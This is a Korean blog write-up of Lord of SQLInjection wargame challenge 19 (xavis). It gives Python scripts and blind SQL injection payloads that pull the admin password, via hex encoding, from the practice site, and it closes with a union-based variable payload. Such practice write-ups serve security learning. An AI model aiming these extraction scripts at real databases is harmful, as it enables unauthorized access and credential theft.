Lord of SQLInjection 19번 xavis
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
필터링
1) prob
2) _
3) .
4) ()
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
필터링
1) regex (정규표현식)
2) like
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
정확한 pw를 구해야 하는 문제이다.
pw 길이 구하기
import requests
url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookies={"PHPSESSID":"세션값"}
for i in range(0,100):
pay=f"?pw='or id='admin' and length(pw)={i};%23"
res=requests.get(url+pay,cookies=cookies)
if "Hello admin" in res.text:
print("length:",i)
length=i
break
--> length: 12
url에서 확인해봐도 Hello admin이라고 나온다.
하지만 기존 LOS에서 풀었던 pw구하는 방식
pay=f"?pw='or id='admin' and ascii(substring(pw,{i},1))={j};%23"
으로 코드를 아무리 돌려보아도 pw는 나오지 않는다.
구글에 검색해보니 unicode문제라고 한다...
예전에 풀었던 문제 중 orc 문제를 보면 첫번째 자리 값이 1byte이다.
이번 문제에서는 첫번째 자리 값이 4byte라고 나왔다.
영어, 숫자는 1글자 당 1byte로 표현이 되지만 한글은 최소 2byte가 필요하다.
그래서 알파벳, 숫자, 기호는 아스키코드로 나타내지만 한글은 유니코드를 사용한다.
4byte * 3 =12byte
3글자인 것을 알 수있다.
pw구하기
ascii로 구했을때 pw가 나오지 않아 hex로 바꾸어 코드를 실행해보았다.
import requests
url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookies={"PHPSESSID":"세션값"}
string="0123456789abcdefghijklmnopqrstuvwxyz"
pw=""
for i in range(0,100): #길이구하기
pay=f"?pw='or id='admin' and length(hex(pw))={i};%23"
res=requests.get(url+pay,cookies=cookies)
if "Hello admin" in res.text:
length=i
print("length:",i)
break
for i in range(1,length+1): #pw구하기
for j in string:
pay=f"?pw='or id='admin' and substr(hex(pw),{i},1)='{j}'%23"
res=requests.get(url+pay,cookies=cookies)
if "Hello admin" in res.text:
pw+=j
print("pw:",pw)
break
print("password:",pw)
길이는 24byte로 나왔고, password는 0000c6b00000c6550000ad73이다.
hex값을 한글형태로 8자리씩 나누어 인코딩하면 다음과 같이 나온다.
다른방법)
"select @[변수명]:=입력값"
pw값을 변수로 받아서 출력하는 방법도 있다고 한다.
?pw=' or (select @a:=pw where id='admin') union select @a%23
'#WarGame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection 20번 dragon (0) | 2021.09.23 |
---|---|
Lord of SQLInjection 18번 nightmare (0) | 2021.09.18 |
Lord of SQLInjection 16번 succubus (0) | 2021.09.17 |
Lord of SQLInjection 15번 assassin (0) | 2021.09.16 |
Lord of SQLInjection 14번 giant (0) | 2021.09.16 |